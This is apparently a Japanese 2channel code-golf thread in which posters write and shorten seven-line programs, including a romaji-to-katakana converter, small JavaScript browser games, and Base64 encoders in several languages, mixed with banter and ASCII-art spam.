var A="xtu|ltu|kwa|ky|sw|sy|sh|tw|ty|th|ny|hy|my|ry|wh|gw|gy|zy|dw|dy|dh|by|"+ "py|qw|qy|fw|fy|jy|vy|cy|ch|xy|ly|k|s|t|n|h|m|y|r|w|g|z|d|b|p|q|f|j|v|c|x|l|"+ "a|i|u|e|o";var B="ッ|ッ|クァ|キy|スa|シy|シャ|シ|シュ|シェ|ショ|トa|チy|テy|ニy|ヒy|ミy|リy|ウァ|ウィ"+ "|ウ|ウェ|ウォ|グa|ギy|ジy|ドa|ヂy|デy|ビy|ピy|クa|キy|フa|フy|ジy|ヴy|チy|チャ|チ|チュ|チェ|"+ "チョ|y|y|カ@|サ@|タ@|ナ@|ハ@|マ@|ヤ|イ|ユ|イェ|ヨ|ラ@|ワ|ウィ|ウ|ウェ|ヲ|カ@゙|サ@゙|タ@゙|ハ@゙|ハ@゚|クァ|ク"+ "ィ|ク|クェ|クォ|ファ|フィ|フ|フェ|フォ|ジャ|ジ|ジュ|ジェ|ジョ|ヴァ|ヴィ|ヴ|ヴェ|ヴォ|カ|シ|ク|セ|コ|a|a"+ "|ア|イ|ウ|エ|オ";B=B.replace(/\|.@([゚゙]?)/g,function(e){var r="";for(var i=0;i<5; i++)r+="|"+String.fromCharCode(e.charCodeAt(1)+i)+RegExp.$1;return r}).replace (/([^\|]*)a\|/g,"$1ァ|$1ィ|$1ゥ|$1ェ|$1ォ|").replace(/([^\|]*)y\|/g,"$1ャ|$1ィ|$1ユ|"+ "$1ェ|$1ョ|").split("|");A=A.replace(/([^aiueo]{1,2})\|/g,"$1a|$1i|$1u|$1e|$1o|" ).split("|");var t=prompt().replace("nn","ン").replace(/([^aiueo])\1/g,"ッ$1"). replace(/n([^aiueo]|$)/g,"ン$1");for(var i=0;i<A.length;i++)t=t.replace(A[i], B[i],"g");alert(t); 正規表現を使わないでやっていたが、なでしこのコードを参考にして13行。MS-IMEで出る字は大体出ると思うけど。 まだ冗長だなあ。
S="";X="-|ltu|xtu|bb|cc|dd|ff|gg|hh|jj|kk|ll|mm|pp|qq|rr|ss|tt|vv|ww|xx|yy|zz|ye|dhu|shi|chi|tsu|fu|ji|";Y=空;Z=空;
M="ky|sy|ty|ny|hy|my|ry|gy|zy|by|py|sh|ch|j|y"を"|"で 区切;N="a|u|o"を"|"で区切;Mで反復,D=対象;Nで反復,YにD&対象を一行追加;
P="l|x|w|k|s|t|n|h|m|r|g|z|d|b|p"を"|"で区切;Q="a|i|u|e|o"を"|"で区切;Pで反復,E=対象;Qで反復,ZにE&対象を一行追加;
A="{Xを"|"で区切}{\n}{Y}{Z}nn{\n}n{\n}a{\n}i{\n}u{\n}e{\n}o";B=(("ー|ッ|ッ|ッb|ッc|ッd|ッf|ッg|ッh|ッj|ッk|ッl|ッm|ッp|ッq|ッr|ッs|ッt|ッv|ッw|ッx|ッy|ッz|イェ|デュ|シ|チ|ツ|
フ|ジ|キャ|キュ|キョ|シャ|シュ|ショ|チャ|チュ|チョ|ニャ|ニュ|ニョ|ヒャ|ヒュ|ヒョ|ミャ|ミュ|ミョ|リャ|リュ|リョ|ギャ|ギュ|ギョ|ジャ|ジュ|ジョ|ビャ|ビュ|ビョ|ピャ|ピュ|ピョ|シャ|シュ|ショ|チャ|チュ|チョ|
ジャ|ジュ|ジョ|ヤ|ユ|ヨ|ァ|ィ|ゥ|ェ|ォ|ァ|ィ|ゥ|ェ|ォ|ワ|ウィ|ウ|ウェ|ヲ|カ|キ|ク|ケ|コ|サ|シ|ス|セ|ソ|タ|チ|ツ|テ|ト|ナ|ニ|ヌ|ネ|ノ|ハ|ヒ|フ|ヘ|ホ|マ|ミ|ム|メ|モ|ラ|リ|ル|レ|ロ|ガ|ギ|グ|ゲ|ゴ|
ザ|ジ|ズ|ゼ|ゾ|ダ|ヂ|ヅ|デ|ド|バ|ビ|ブ|ベ|ボ|パ|ピ|プ|ペ|ポ|ン|ン|ア|イ|ウ|エ|オ")の改行を空に置換)を"|"で区切;Aで反復,S=Sの対象をB[回数-1]に置換;
>>533 を参考にして苦しいがスレタイ通りに・・・(゚Д゚;)
一行79文字が守られていません。お引取りください。
\(^o^)/ ヽ ←さじ
ソースコードをP2Pネットワークに置く ソースコードのハッシュを算出する ハッシュを元にソースコードをDLしてくる →事実上ソースコードはハッシュ文字数に圧縮される ∩( ・ω・)∩ ばんざーい
∩( ・ω・)∩ ばんざーい
>>537 7行79桁でファイル共有ソフトを書けと。
541 :
デフォルトの名無しさん :2007/08/01(水) 03:10:59
日本語でプログラミング気持ち悪い
日本語でプログラミングはなしがいい
保守
データ外部に置いたらダメだろ httpでプログラム取得、実行、というプログラムを書けば 汎用七行になってしまう
547 :
デフォルトの名無しさん :2007/09/03(月) 14:41:49
httpでとってきて、evalか? こええよw
httpでとってきてCreateProcess
>>547 JavaScript が怖くて常に OFF にしてるの?
サンドボックスがまともならそんなに怖くないかと
実はperl
実はzipとか
553 :
デフォルトの名無しさん :2007/09/04(火) 12:23:18
図書スレで話題になってたな
555 :
デフォルトの名無しさん :2007/09/22(土) 00:10:16
トリッキースレがなくなってますね。 トリッキースレの後継スレみたいなのないのかな。 別のスレで出た話ですが、 int my_fputwc(wint_t c, FILE *fp) { wint_t r = fputwc(c, fp); return (r == WEOF) ? EOF : r; } int wtbl[0x10000]; void dokkade_jikkou(void ) { int i; for (i = 0; i < 0x10000; i++) wtbl[i] = i; wtbl[0xffff] = EOF; } int my_fputwc(wint_t c, FILE *fp) return wtbl[fputwc(c, fp);]; } みたいなこと(WEOF(wint_tの0xffff)をEOF(intの-1)に変換) をもっとスマートに行う方法ないですかね。
インラインアセンブラが使え無い言語は 基本的に劣っていると考えたい・・・
適当に書いてみた。スマートなのかも、速いのかもよくわからん。反省はしてない。 int my_fputwc(wint_t c, FILE *fp) { wint_t r = fputwc(c, fp); return ((!(r ^ 0xffff)) * EOF) | r; }
>>555 どう考えてもfputwcが重すぎで大差ない気がするが
int my_fputwc(wint_t c, FILE *fp)
{ wint_t r = fputwc(c, fp);
return (~r + 0xFFFF&0xFFFF0000)^r;
}
保守
保守
なんかネタないかね
echoサーバとか
10 OPEN "COM1:" FOR INPUT AS #1 20 LINE INPUT #1, A$ 30 PRINT #1, A$ 40 IF NOT EOF(1) THEN GOTO 20 50 CLOSE #1 60 END 70
[,.] 4文字v
入力したものを出力するだけのプログラムなんじゃない?
何もしないで戻るような気がする
これTCP? ポートってデフォルトは何番になるの?
>>565 そりゃただのechoコマンドじゃないか。
RFC 3091 "Pi Digit Generation Protocol" のサーバーとかどうだろう。
lispで何か書こうかな。。。。 もしかして過疎?
187byte スロットはスレ違い?
つ <body onload=n=[1,b=2,x=3];setInterval('for(i=3;b<i--;)if(i<x)n[2-i]+=n[2-i]-7?1:-6;b+=b?-1:2;document.body.innerHTML=x?n:n+(n[0]-n[1]|n[1]-n[2]?"\\nx":"\\no")',50) onmousedown=x+=x?-1:3> 誰かもっと削ってー
スルーとはお前らなかなかやってくれるなw でもやっぱりスレチだよな。ゲ製に投下してくる
>>577 スルーしたわけじゃないんだ。
ちょっと分野が違った。
すまね。
俺は1時間くらい考えてみたけど <body id=B くらいしか思いつかなかった あとは表示が 1,2,3,x になってもいいならn=[1,b=2,x=3,"\\n"]とするとか
>>579 あっちで好評だったからもう気にしないんだぜw
>>580 考えてくれてたのかサンクス
なるほど、id=B はまったく思い付かなかった。コンマも気にしないからやってみたら
n=[1,b=2,x=3,"\n"]; ってエスケープ1つで動いた
これで結局 179Byte wwwこれ以上は想像もつかんw
ああ、 onclick はなんとなくタブーねww
何をするスクリプト?
PCが見知らぬ動きをはじめた・・・!
n[0]-n[1]|n[1]-n[2] n[0]*6-n[1]*5-n[2] n[2-i]+=n[2-i]-7?1:-6; n[2-i]=n[2-i]%7+1; n[0]*6-n[1]*5-n[2]はちゃんと動くか分からん
>>585 上のは [2,1,7] で誤作動しますね
下のは (; Д )゚ ゚
n[0]*7-n[1]*6-n[2] だと大丈夫?
動かしたけどさっぱり 最後の桁がぐるぐる回り続けてるだけだった
素晴らしい。 いま 174Byte ですか。まだまだ削れそうな気がしてきました
>>588 <body id=B onload=n=[1,b=2,x=3,"\n"];setInterval('for(i=3;b<i--;)if(i<x)n[2-i]=n[2-i]%7+1;b+=b?-1:2;B.innerHTML=x?n:n+(n[0]*7-n[1]*6-n[2]?"x":"o")',50) onmousedown=x+=x?-1:3>
これで動かないか?
ああ、わかった B使うとかあらゆる意味で邪道だな クソだ
グローバル使わないでって火狐は怒るだろうな
HTMLで短くするのなんてナンセンスだよ onload=""って括ってないとか、<title>タグが無いとか、 innerHTMLで配列を代入とか、仕様違反が多すぎる。
titleを指摘する前に、htmlなのにhtml要素がないことに突っ込めw
htmlタグはHTML4では省略可能なので別になくていい そもそもDTD宣言がないからHTML4かどうかもわからないんだけどな
>>594 配列は toString メソッドが暗黙に呼び出されて文字列になる
>>597 そもそもinnerHTMLが仕様にないので、暗黙的にtoStringが呼ばれるとは限らない
しかしArrayのtoStringの仕様がjoinだとはしらなんだ
そもそもここは標準規格に適合しないといけないスレじゃないだろ。
むしろ仕様と戦うスレ
メモリ破壊しようと環境依存しまくりだろうと動けば正義
クズ呼ばわりされるけどなw PartIでincludeは1行じゃない、ってほざいてた奴らいたなぁ
>>594 それだとcを短くするのもナンセンスだよね。
return消して ファイルクローズ消して そのたもろもろ.
それは別問題だろ Cで言ったら鼻から悪魔系のナンセンスだよ
>>605 俺も久しぶりに言ったので最初鼻から牛乳って書いちゃった
あれ?なんか違うな、みたいな
CはANSI仕様に沿っていれば評価されてたね パート1の作者達はreturnもしていればメモリ解放もしてるからこそ 鉄壁の評価を得ていたわけだし 60さんとか、まだここ見てないかな
鼻から悪魔吹いたw 元ネタなんだっけ?
俺は鼻から牛乳に吹いた。
int main(void){ printf("Hello World"); return; ←ここで鼻から牛乳が噴出す }
ブ―――ッ!! / ヽ -―ニ二二二二ニ>、 ァ /ィ=-_ _ト-、) ( Y ー==j〈二゙i ) ゝ i - r ヾ"^j )。 ( ) `- ≦三。゚・ ゞ ∧ヾ ゝ゚ ≦三゚。 ∧_∧ (_/ ヽ゚≧ 三=- ,´\(´∀`)/ ヽ /|ヽ \ァ ≧-ノソリ⊂ ⊃ ,从 | \ イレ、 >= (,,ノ,,ノ | ≦Vヾ ヾ≧ 彡 〉 く。゚/。イハ 、、ミ。゚
ブ―――ッ!! / ヽ -―ニ二二二二ニ>、 ァ /ィ=-_ _ト-、) ( Y ー==j〈二゙i ) ゝ i - r ヾ"^j )。 ( ) `- ≦三。゚・ ゞ ∧ヾ ゝ゚ ≦三゚。 ∧_∧ (_/ ヽ゚≧ 三=- ,´\(´∀`)/ ヽ /|ヽ \ァ ≧-ノソリ⊂ ⊃ ,从 | \ イレ、 >= (,,ノ,,ノ | ≦Vヾ ヾ≧ 彡 〉 く。゚/。イハ 、、ミ。゚
ブ―――ッ!! / ヽ -―ニ二二二二ニ>、 ァ /ィ=-_ _ト-、) ( Y ー==j〈二゙i ) ゝ i - r ヾ"^j )。 ( ) `- ≦三。゚・ ゞ ∧ヾ ゝ゚ ≦三゚。 ∧_∧ (_/ ヽ゚≧ 三=- ,´\(´∀`)/ ヽ /|ヽ \ァ ≧-ノソリ⊂ ⊃ ,从 | \ イレ、 >= (,,ノ,,ノ | ≦Vヾ ヾ≧ 彡 〉 く。゚/。イハ 、、ミ。゚
くだらね
ブ―――ッ!! / ヽ -―ニ二二二二ニ>、 ァ /ィ=-_ _ト-、) ( Y ー==j〈二゙i ) ゝ i - r ヾ"^j )。 ( ) `- ≦三。゚・ ゞ ∧ヾ ゝ゚ ≦三゚。 ∧_∧ (_/ ヽ゚≧ 三=- ,´\(´∀`)/ ヽ /|ヽ \ァ ≧-ノソリ⊂ ⊃ ,从 | \ イレ、 >= (,,ノ,,ノ | ≦Vヾ ヾ≧ 彡 〉 く。゚/。イハ 、、ミ。゚
ほんとくだらないな
7行で書けよ
ブ―――ッ!! / ヽ -―ニ二二二二ニ>、 ァ /ィ=-_ _ト-、) ( Y ー==j〈二゙i ) ゝ i - r ヾ"^j )。 ( ) `- ≦三。゚・
ocn サー バー 規制 解除 記念 w
ocn test
俺もテストw
このスレ見つけたら何か作りたくなったので作ってみたーよ。 初めてやってみたので何かルールが違ったらごめんなさい。 <body onkeydown=C()><pre id=z><script>s=99;v=16;p={};F=Math.floor;t=u=s-1;for(i =s*s;i>0;p[--i]=0);for(;i++<s*s;)if(i%s%2==1&&F(i/s)%2==1){while(p[j=i+((r=F(4* Math.random())-2)%2?r*s:r+1)]);p[i]=p[j]=1;}B();function B(){o=v/2-1;k="";for(i =0;i<v*v;i++)m=i%v-o+t,n=F(i/v)-o+u,k+=i%v==0?"\n":"",k+=D(m,n)?m==t&&n==u?"自" :!m&&!n?"終":p[m+n*s]?"■":" ":"■";z.innerText=k}function C(){c=event.keyCode -37;if(c>=0&&c<=3){m=t;n=u;c%2?n+=c-2:m+=c-1;if(D(m,n)&&!p[m+n*s])t=m,u=n;B();if (!t&&!u)alert("end")}}function D(m,n){return m>=0&&n>=0&&m<s&&n<s}</script> 散々既出な気がするHTMLの迷路ゲーム。IE6/IE7でのみ動作確認。 一行目の「s=99」がマップの広さ(奇数指定)、「v=16」が可視範囲(偶数指定)。 右下スタートの左上ゴール。 迷路作成は収めるためにかなり適当。なので正解路は一本じゃない。 徐々にソースを縮めてくのが面白いですね。
おおお。 面白いけど、firefoxじゃダメなのかな?
多分event.keyCodeあたりがIE限定くさい
>>626 乙
z.innerText=k → z.innerHTML=k
onkeydown=C() → onkeydown=C(event)
function C() → function C(e)
c=event.keyCode → c=e.keyCode
に修正すれば一応Firefoxでも動いた。ただしJavaScriptコンソールは見ちゃダメ
詰めれば一応7行×79文字にもなる。
やべえこれ 乙だぜ
<body style="font:1em monospace" onload='D=function(m,n){return m>=0&&n>=0&&m<s &&n<s};s=99;v=16;p={};F=Math.floor;t=u=s-1;for(i=s*s;i>0;p[--i]=0);for(;i++<s*s ;)if(i%s%2==1&&F(i/s)%2==1){while(p[j=i+((r=F(4*Math.random())-2)%2?r*s:r+1)]); p[i]=p[j]=1;};B = function(k){o=v/2-1;for(i=0;i<v*v;i++)m=i%v-o+t,n=F(i/v)-o+u, k+=i%v==0?"<br>":"",k+=D(m,n)?m==t&&n==u?"自":!m&&!n?"終":p[m+n*s]?"■":" ":"■"; document.body.innerHTML=k};B("")' onkeydown="c=event.keyCode-37;if(c>=0&&c<=3){ m=t;n=u;c%2?n+=c-2:m+=c-1;if(D(m,n)&&!p[m+n*s])t=m,u=n;B(!t&&!u?'end':'')}">
<body style="font:1em monospace"onload='D=function(m,n){return m>=0&&n>=0&&m<s &&n<s};s=13;v=28;p={};F=Math.floor;t=u=s-1;for(i=s*s;i>0;p[--i]=0);for(;i++<s* s;)if(i%s%2*F(i/s)%2==1){while(p[j=i+((r=F(4*Math.random())-2)%2?r*s:r+1)]);p[ i]=p[j]=1;};B=function(k){o=v/2-1;for(i=0;i<v*v;i++)m=i%v-o+t,n=F(i/v)-o+u,k+= i%v==0?"<br>":"",k+=D(m,n)?m==t&&n==u?"自":!m&&!n?"終":p[m+n*s]?"■":" ":"■" b.innerHTML=k};B("")'onkeydown="c=event.keyCode-37;if(c>=0&&c<=3){m=t;n=u;c%2? n+=c-2:m+=c-1;if(D(m,n)&&!p[m+n*s])t=m,u=n;B(!t&&!u?'end':'')}"id=b> 1行79文字で。 >i%s%2==1&&F(i/s)%2==1 両方とも1なら掛けても1じゃないか?と思って >i%s%2*F(i/s)%2==1 としてみたのだけどどうだろう?
グローバル使うの汚い
おお これ凄いな
<title></title><body onkeydown="D(event.keyCode-37)"><pre id=P></pre><script>p= {};for(R=Math.random,F=Math.floor,Z=10,f=i=Q=100,H=16,n="\r\n",W="□",X=" ";i; p[--i]=(i<Z?H:89<i?H:i%Z?i%Z-9?0:H:H));for(p[a=88]=8;f;)for(p[i=F(R()*Q)]&H|p[j =i+((d=F(R()*2)+1)*9-8)]&H?0:7<(p[i]^p[j])?(p[i]|=d|8,p[j]|=8):0,f=k=0;k<Q;f|=( p[k++]<8));function D(c){for(c&-4?0:a+=(c&1?(p[a+c*5-15]&2)*(c*5-Z):(p[a+c/2-1] &1)*(c-1)),t=v=i=n;i<Q;t+=(i-11?q&H?W:i-a?X:"@":a-11?"$":"終")+(q&1?X:W),v+=( q&2?X:W)+W,++i%Z?0:(t+=v+n,v=n))q=p[+i];P.innerText=P.innerHTML=t}D(2)</script> 正解の道が一通りになるように改造してみたらぴったり7×79になった FirefoxとIE両方で確認
<body id=D onKeyDown=K=event.keyCode-38 onload='Z=X=[B=A=12];Y=function(){for(C
=[q=c=i=4];f=i--*K;c-=!Z[h+(K+6?p+K:C[i]=p*A-(p/9|0)*145)])p=B[i];for(c?0:K+6?h
+=K:t?B=C:0;i=K=q--;f+=Z[A+p])k=X[p=h+B[q]]=1;h+=A;if(f|B)for(Z=X,X=[l=228],B=[
[-7,-20,6,h=17,-9,3,3][t=++t%7]-4,0,1,t-6?-A:2];l--;)for(l%A?l-=l%A*!Z[l]:(P+=
k++,c=l+=A);--c>A;)Z[c]=Z[c-A];for(S="";i<240;S+=X[i]|(X[i]=Z[i]|=++i%A<2|i>228
)?i%A?"■":"■<br>":"_");D.innerHTML=S+P;Z[5]||setTimeout(Y,i-P)};Y(h=K=t=P=0)'
>>635 6行になりますた
titleもしっかり入れちゃうところがにくいね
やっぱ onload は強いな
<title></title><body onkeydown="D(event.keyCode-37)"><pre id=P></pre><script>p=
[n="\r\n",W="□",X=" "];for(R=Math.random,F=Math.floor,U=Y=Z=(V=8)*2,f=k=Q=U++
*Y--;k;p[--k]=(k<Z|Q-Z<k?8:k%Z&&k%Z-Y?0:8));for(p[a=Q-Z-2]=4;f;)for(p[i=F(R()*Q
)]&8|p[d=F(R()*2),j=i+d*Y+1]&8?0:3<(p[i]^p[j])?(p[i]|=1+d|4,p[j]|=4):0,f=k=0;k<
Q;f|=p[k++]<4);function D(c){for(c&-4?0:a+=(c&1?(p[a+c*V-Z-V]&2)*(c*V-Z):(p[a+c
/2-1]&1)*--c),t=v=i=n;i<Q;t+=(i-U?q&8?W:i-a?X:"@":a-U?"$":"終")+(q&1?X:W),v+=
(q&2?X:W)+W,++i%Z?0:t+=v+(v=n))q=p[+i];P.innerText=P.innerHTML=t}D(2)</script>
>>636 だけどなぜか p[k] の 4 のビットが使ってなかったりとか
無駄な括弧とかいろいろ削る余地があったので修正
迷路のサイズが可変になった(2行目の V=8 の 8 を変更すると変わる)
lispってあり?
7行で坊ちゃんを作ったんだけど書いてもいいよね? 著作権はもう切れてるし
7行で坊ちゃんを作ったんだけど書いてもいいよね? 〜〜〜〜〜〜〜
#include <stdio.h> #include <windows.h> main(){int x,y,z; for(z=0;z<32;z++){for(y=0;y<32;y++){ for(x=0;x<32;x++)printf(x&y&z?"..":"■"); printf("\n");}Sleep(200);system("cls");}}
若干縮んだ
#include <stdio.h>
#include <windows.h>
main(x){
for(x=0;x<32768;
printf((x
>>10 )&(x
>>5 )&x&31?"..":"■"),
++x&31||printf("\n"),
x&1023||(Sleep(200),system("cls")));
}
base64にエンコードする
<script>a="abcdefghijklmnopqrstuvwxyz";c=a.toUpperCase()+a+"0123456789+/";
onload=function(){document.write(e(prompt("","")));}
function f(b){return c.charAt(b);}function e(k){r="";i=0;l=k.length;while(i<l){
x=k.charCodeAt(i++) & 0xff;if(i==l){r+=f(x
>>2 );r+=f((x&0x3)<<4);r += "==";
break;}y=k.charCodeAt(i++);if(i==l){r+=f(x
>>2 );r+=f(((x&0x3)<<4) | ((y&0xF0)
>>4 ));
r+=f((y&0xF)<<2);r+="=";break;}z=k.charCodeAt(i++);r+=f(x
>>2 );
r+=f(((x&0x3)<<4 | (y&0xF0)
>>4 ) >> 4);r+=f(((y&0xF)<<2) | ((z&0xC0)
>>6 ));
r+=f(z&0x3F);}return r;}</script>
1行減らせる?
普通に空白消して改行位置かえるだけで7行に収まりそうだけど。
それに0x3とかは3でいいよ
1行何文字までおkなん?
いちおう79
>>651 演算子の優先順位を吟味して括弧を減らせばいいと思うよ。
>>651 意味を変えずに整形だけしてみた。
<script>c="ABCDEFGHIJKLMNOPQRSTUVWXYZ";c+=c.toLowerCase()+"0123456789+/";onload
=function(){document.write(e(prompt("","")))};function f(b){return c.charAt(b)}
function e(k){r="";l=k.length;for(i=0;i<l;){x=k.charCodeAt(i++)&255;if(i==l){r
+=f(x/4)+f((x&3)<<4)+"==";break}y=k.charCodeAt(i++);if(i==l){r+=f(x/4)+f((x&3)
<<4|(y&120)
>>4 )+f((y&15)*2)+"=";break}z=k.charCodeAt(i++);r+=f(x/4)+f(((x&3)<<4
|(y&120)
>>4 )
>>4 )+f((y&15)*2|(z&192)
>>6 )+f(z&63)}return r}</script>
<script>a="abcdefghijklmnopqrstuvwxyz";c=a.toUpperCase()+a+"0123456789+/";
function f(b){return c.charAt(b);}function e(k){r="";i=0;l=k.length;while(i<l){
x=k.charCodeAt(i++)&0xff;if(i==l){r+=f(x
>>2 );r+=f((x&3)<<4);r+="==";
break;}y=k.charCodeAt(i++);if(i==l){r+=f(x
>>2 );r+=f(((x&3)<<4)|((y&240)
>>4 ));
r+=f((y&15)<<2);r+="=";break;}z=k.charCodeAt(i++);r+=f(x
>>2 );
r+=f(((x&3)<<4|(y&240)
>>4 )
>>4 );r+=f(((y&15)<<2)|((z&192)
>>6 ));
r+=f(z&63);}return r;}document.write(e(prompt("","")));</script>
単純なことだった。
kは不変なのだからk.charCodeAtを文字でおくと短くなるし 2回あるif(i==l){ }も ?: をつかったり式をまとめたりすれば だいぶ短くなるよ cを生成するところもなにか工夫できそう
>>660 k.charCodeAtを文字で置くのはやってみましたが
ギリギリで(4文字くらい)余計に長くなるのでしませんでした。
<script>c="ABCDEFGHIJKLMNOPQRSTUVWXYZ";c+=c.toLowerCase()+"0123456789+/";
function f(b){return c.charAt(b);}function e(k){r="";i=0;l=k.length;while(i<l)
{x=k.charCodeAt(i++)&255;if(i==l){r+=f(x/4)+f((x&3)<<4)+"==";break}
y=k.charCodeAt(i++);if(i==l){r+=f(x/4)+f(((x&3)<<4)|((y&240)
>>4 ))+f((y&15)*4)+
"=";break}z=k.charCodeAt(i++);r+=f(x/4)+f(((x&3)<<4|(y&240)
>>4 )
>>4 )+f(((y&15)*4)
|((z&192)
>>6 ))+f(z&63);}return r;}document.write(e(prompt("","")));</script>
(x&3)<<4 → x%4<<4 (y&15)*4 → y%16*4 みたいにできる?
>>661 まじで?
テストしてないけどこれだめなん?
<script>c="ABCDEFGHIJKLMNOPQRSTUVWXYZ";c+=c.toLowerCase()+"0123456789+/";
function f(b){return c.charAt(b);}function e(k){r="";i=0;l=k.length;while(i<l)
{x=(u=k.charCodeAt)(i++)&255;if(i==l){r+=f(x/4)+f((x&3)<<4)+"==";break}
y=u(i++);if(i==l){r+=f(x/4)+f(((x&3)<<4)|((y&240)
>>4 ))+f((y&15)*4)+
"=";break}z=u(i++);r+=f(x/4)+f(((x&3)<<4|(y&240)
>>4 )
>>4 )+f(((y&15)*4)
|((z&192)
>>6 ))+f(z&63);}return r;}document.write(e(prompt("","")));</script>
x=(u=k.charAt) こういう、宣言の仕方があったか・・・ 忘れてました。orz
>>663 あ、なんか、結果が変わりました。
どっかがおかしいみたいです
>>663 IEでしか試してないが、f=c.charAt; とすると、fの結果が"[object]".charAtになってしまった。
えーそうなのか 適当なこと言ってすます
しょぼいけどテニス <body onKeydown="a+=(event.keyCode-38)?1:-1;if(a<1)a=0;if(a>2)a=3;"><script> x=g=h=1;y=a=0;b=2;e=-1;p=300;function d(){s="";x+=g;y+=h;b=y;if(p<50)p=50; if(y<1){y=0;h*=e}if(y>3){y=4;h*=e}if(x>7){x=8;g*=e}if(x<2){if(y==a||y==a+1){ x=1;g*=e;p-=20;}}if(x==0)alert("GAME OVER");if(b<1)b=0;if(b>2)b=3; for(i=0;i<50;i++){X=i%10;Y=(i-X)/10;s+=(X==x&&Y==y)?"●":(X==0&&(Y==a|| Y==a+1)||(X==9&&(Y==b||Y==b+1)))?"■":"□";if(X==9)s+="<br>";} document.body.innerHTML=s;setTimeout("d()",p);}d();</script>
<input size=80 onkeypress="with(Math)if(event.keyCode==13){document.body.innerHTML+='<br>'+(n=this.value)+'='+eval(n)}">
一文字短くしてみた <input size=8 onkeypress="with(Math)if(event.keyCode==13){document.body.innerHTML+='<br>'+(n=this.value)+'='+eval(n)}">
更に6文字短くしてみた <input size=8 onkeydown="with(Math)if(event.keyCode==13){document.body.innerHTML+='<br>'+(n=value)+'='+eval(n)}">
更に7文字短くしてみた <input onkeydown="with(Math)if(event.keyCode==13){document.body.innerHTML+='<br>'+(n=value)+'='+eval(n)}">
削るんならwith(Math)とかifの{}を真っ先に削ろうよ。 何をしたいのか良く分からん。
<input onkeydown=with(Math)event.keyCode-13||(R.innerHTML+=(n=value)+'='+eval(n)+'\n')><pre id=R>
>>674 with はメソッドにも対応するためだと思うよ
やっぱりつまらんかったけどw
v ^_@ _,v>0 o:" >0"!hs"v !" 2 ^< ^g2<
>>674 簡単だよ、フォームから sin(60*PI/180) とかいう計算式を受け付けるためじゃない?
俺は実行すらしてないから予想だけど
679 :
デフォルトの名無しさん :2008/01/20(日) 09:45:30
触発されたので、Perl版 Base64 エンコーダ、デコーダ書いてみた。
コマンドライン引数に -e とつければエンコード。そうでなければデコード。
DOS上の Jperl4 でも動いた。chr() -> pack(C, としたぐらいだけど。
#!/usr/bin/perl
$B=join('','A'..'Z','a'..'z','0'..'9')."+/";$e=shift if$ARGV[0]eq'-e';$i=0;$_=
<>;$l=length($_);sub G{substr($_,$i++,1)}if($e){sub O{ord(&G)}sub P{print
substr($B,$_[0],1),$_[1]}while($i<$l){$x=&O;&P($x
>>2 );$x=($x&3)<<4;if($i==$l){
&P($x,'==');last}$y=&O;&P($x|($y&240)
>>4 );$y=($y&15)<<2;if($i==$l){&P($y,'=');
last}$x=&O;&P($y|$x
>>6 );&P($x&63)}}else{sub D{index($B,&G)}sub C{print pack(C,
$_[0])}while($i<$l){$x=&D;$y=&D;&C($x<<2|$y
>>4 &3);last if($x=&D)<0;&C(($y&63)
<<4|$x
>>2 );last if($y=&D)<0;&C(($x&3)<<6|$y)}}print"\n"
680 :
674 :2008/01/20(日) 10:01:11
>>678 JavaScriptのevalが呼んだ側のwithとかに影響されるなんて知らなかったんだよorz
見ただけでそれが簡単に予想できるお前がうらやましい。
それよりthis.valueをvalueに略せるなんて初めて知った
683 :
674 :2008/01/20(日) 18:36:31
>>682 >>680 は
>>676 を分かった上での
>>678 へのレス。言葉足らずですまんかった。
スレ汚したお詫びに超ありふれてるBase64エンコーダでもどうぞ。
local f,s,d,z=math.floor,string.byte,{},"ABCDEFGHIJKLMNOPQRSTUVWXYZ"for i=1,65
do d[i-1]=(z..z:lower().."0123456789+/"):sub(i,i)end function encode(t)local l,
i,r,a,b,c=#t,1,''while l>2 do a,b,c=s(t,i,i+2)r=r..d[f(a/4)]..d[(16*a+f(b/16))%
64]..d[(b*4+f(c/64))%64]..d[c%64]i,l=i+3,l-3 end if l>0 then a,b=s(t,i,i+1)if l
>1 then r=r..d[f(a/4)]..d[(a*16+f(b/16))%64]..d[b*4%64]..'='else r=r..d[f(a/4)]
..d[a*16%64]..'=='end end return r end io.write(encode(io.read"*a"))
今までBase64エンコーダまたはデコーダ作った人:
初代スレ: 488(C),491-(C)
part4: 937(JavaScript)
このスレ: 651 -(JavaScript),679(Perl),俺(Lua)
684 :
デフォルトの名無しさん :2008/01/21(月) 01:20:10
#!/usr/bin/env ruby require 'base64';$><<Base64.encode64(gets)
なんという・・・
PHPSDYZD50L50PPQX5AA54LPRX5Gf50APSXH51u50APRX5A05v4PSXH50p5cNPYZRQRQSSSSXKCh Z74sPS4PPKC74q4LPSaH5az1FCaaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA /+9876543210zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBAAAAAAAAAAAAA LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL LLLLCLAFHEABML0DDKA0CKA0AKDMKH0EHNCM0FKLDGMCKO0HADADADADCLILCCALK0F00NALJE00 HFHEIDHMJHLNCNNJBOMOKHMNCCB0AKD0EGMCLCD0JH00ADIKFDILCC0EABMLLD00HKCNEGMNEHJE 00HF00HCHN000AHN00LCHN00FAHN000DHN00LAHN00OAHNHOEGKBOB00NGAHMDNNKHMCG0FLKMCC QmFzZTY0IERlY29kZXI= ==== Base64で自己展開Base64 後ろにデータくっつけて.comで実行でstdoutに出力します。
SUGEEEEEEEEEEEEEEEEEEEE! 仕組みどうなってるの
誰か.comの書き方をレクチャーしてほしい
前スレの最後辺りと
>>7 もcom2txtを利用してるよね。
>>691 もし解凍してもappealしか出てこないのなら解凍ソフト変えてみれば?
トンチンカンな事言ってたらスマンが。
>>692 appealしかでなかった。
解凍ソフト変えるわ。サンクス
おかしいぞ、どのソフトでもエラーだ。あー腹立つw もうやめた、やーめた
Lhaplusで解答できた
>>696 Lhaplus 1.53で出来なくて、1.56にアップデートしても無理だった。
仕方ないんでLinuxに持ってってtar xzしたら出来た。
・・・Win用の解凍アプリは何が悪いんだ?まあいいや。
自分は解凍レンジでできますた
